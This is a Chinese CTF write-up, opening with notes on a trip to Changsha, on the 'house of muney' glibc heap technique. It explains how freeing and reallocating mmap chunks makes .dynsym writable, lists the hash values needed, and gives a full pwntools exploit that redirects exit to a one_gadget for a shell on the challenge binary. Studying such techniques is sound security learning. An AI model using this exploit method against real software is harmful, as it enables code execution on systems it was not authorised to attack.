湖湘旅游日记之house of muney

  1. 1. 湖湘旅游日记之house of muney
    1. 1.1. 写在前面
    2. 1.2. 原理分析
    3. 1.3. 题目分析
    4. 1.4. 思路
    5. 1.5. exp

湖湘旅游日记之house of muney

写在前面

之前打线下都没有笔记,这次比赛第一次打awd plus,给我的感觉就是线下ctf,hhhh(得亏没爆0)。

日程有点赶,长沙没怎么玩,每次出去比赛后脚都有一个比赛,刚到了长沙就点了一杯茶颜悦色,味道还是挺不错的。还面基了好多师傅,没吃到长沙的臭豆腐有点小可惜哈哈哈,不过还是挺赚的。

image-20211211105108145

言归正传,还是来看看这次要学的东西。

原理分析

先附上大佬的博客:https://www.anquanke.com/post/id/254797

大佬的博客已经讲的很清楚了,我这里就简单的总结一下。首先程序要有Partial RELRO的,和延迟绑定的道理一样。我们最终是利用sym->st_value改为我们要执行的目的代码地址比如one_gadgets

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;//结构体在/elf/elf.h

image-20211212105320830

但是原本这一块地址是不能写的,但是当我们申请极大块的chunk时,都会放在特殊的mapped区域。比较特殊的是当我们释放这类chunk时会直接回收至内核。通过这个特性,我们可以释放一些不可写的区域,然后申请再拿回对应区域,并且使得其有可写的权限,这样我们就可以对Elf64_Sym进行修改。

然后有几个检测的地方,要满足的条件如下:

1
2
3
4
bitmask[offset] --> 0xf000028c0200130e
bucket --> 0x83
hasharr --> 0x7c967e3e7c93f2a0
(hasharr + 8) --> 0x0f663356a36b4f2b

不同环境可能会有一些不一样,我的环境是Ubuntu 18.04(Ubuntu GLIBC 2.27-3ubuntu1.4),这些值可以通过调试获得。

题目分析

题目附件

菜单题目,有编辑、申请、删除功能,还有一个功能就是修改堆块size。申请的堆块大小最小是0x100000也就是mapped范围,而且只能申请两个chunk。

image-20211212113040478

思路

申请两个mapped范围的,然后修改size,使其覆盖.gnu.hash.dynsym,而且范围确保不会影响到.dynstr。然后将其释放再申请出来(要申请比原来要大的chunk),这是因为M_MMAP_THRESHOLD会随着munmap/free操作发生增长,若分配的大小小于M_MMAP_THRESHOLD,堆操作将回到常规堆空间进行(大佬博客里摘的)。然后通过编辑堆块修改对应的值。通过exit(将被解析成one_gadgets)来拿shell。

1
2
3
4
5
bitmask[offset] --> 0xf000028c0200130e
bucket --> 0x83
hasharr --> 0x7c967e3e7c93f2a0
(hasharr + 8) --> 0x0f663356a36b4f2b
sym->st_value --> one_gadgets (exit's Elf64_Sym)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64')
binary='./pwnme'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote()
e=ELF(binary)
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
def choice(index):
ru(':')
s(str(index))

def add(size):
choice(1)
ru("OK,house size?")
sl(str(size))

def edit(index,offset,value):
choice(3)
ru("OK,id?")
s(str(index))
ru("OK,offset?")
sl(str(offset))
ru("OK,value?")
sl(str(value))
def free(index):
choice(2)
ru("OK,id?")
s(str(index))
def resize(index,size):
choice(4)
ru("OK,id?")
s(str(index))
ru("OK,new size?")
sl(str(size))
add(0x200000)#0
add(0x200000)#1
resize(1,0x413002)#chunk1_size+chunk2_size+0x11000 make dynsym to write
free(1)
add(0x430000)#1
elf_header_ptr = 0x420000
bitmask_offset = 0xa88
bucket_offset = 0xbb0
chain_zero_offset = 0x1c78
table_offset = 0x4b48#exit's sym
#-----------Setting value-----------------------------------------
edit(1,elf_header_ptr-0x10+bitmask_offset,0xf000028c0200130e)
edit(1,elf_header_ptr-0x10+bucket_offset,0x83)
edit(1,elf_header_ptr-0x10+chain_zero_offset,0x7c967e3e7c93f2a0)
edit(1,elf_header_ptr-0x10+chain_zero_offset+8,0x0f663356a36b4f2b)
#-----------------------------------------------------------------
#--------sym->st_value --> one_gadgets (exit's Elf64_Sym)-------
edit(1,elf_header_ptr-0x10+table_offset,0x000d001200002e1a)
edit(1,elf_header_ptr-0x10+table_offset+8,one_gadget[1])
edit(1,elf_header_ptr-0x10+table_offset+0x10,0x1a)
#-----------------------------------------------------------------
#gdb.attach(io)
ru('All done!')
choice(4)
s('\n')
shell()